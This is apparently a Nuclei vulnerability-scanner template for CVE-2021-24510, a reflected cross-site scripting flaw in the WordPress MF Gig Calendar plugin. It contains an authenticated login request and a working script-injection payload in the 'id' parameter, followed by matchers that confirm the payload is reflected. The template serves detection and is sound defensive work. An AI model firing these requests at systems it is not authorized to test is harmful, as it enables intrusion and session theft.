WordPress MF Gig Calendar <=1.1 - Cross-Site Scripting

id: CVE-2021-24510

info:
  name: WordPress MF Gig Calendar <=1.1 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress MF Gig Calendar plugin 1.1 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize or escape the id GET parameter before outputting back in the admin dashboard when editing an event.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of WordPress MF Gig Calendar plugin (>=1.2) which includes proper input sanitization and validation.
  reference:
    - https://wpscan.com/vulnerability/715721b0-13a1-413a-864d-2380f38ecd39
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24510
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24510
    cwe-id: CWE-79
    epss-score: 0.00119
    epss-percentile: 0.46132
    cpe: cpe:2.3:a:mf_gig_calendar_project:mf_gig_calendar:*:*:*:*:wordpress:*:*:*
  metadata:
    max-request: 2
    vendor: mf_gig_calendar_project
    product: mf_gig_calendar
  tags: cve2021,cve,wp-plugin,authenticated,wpscan,wordpress,mf_gig_calendar_project

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=mf_gig_calendar&action=edit&id="></script><script>alert(document.domain)</script><" HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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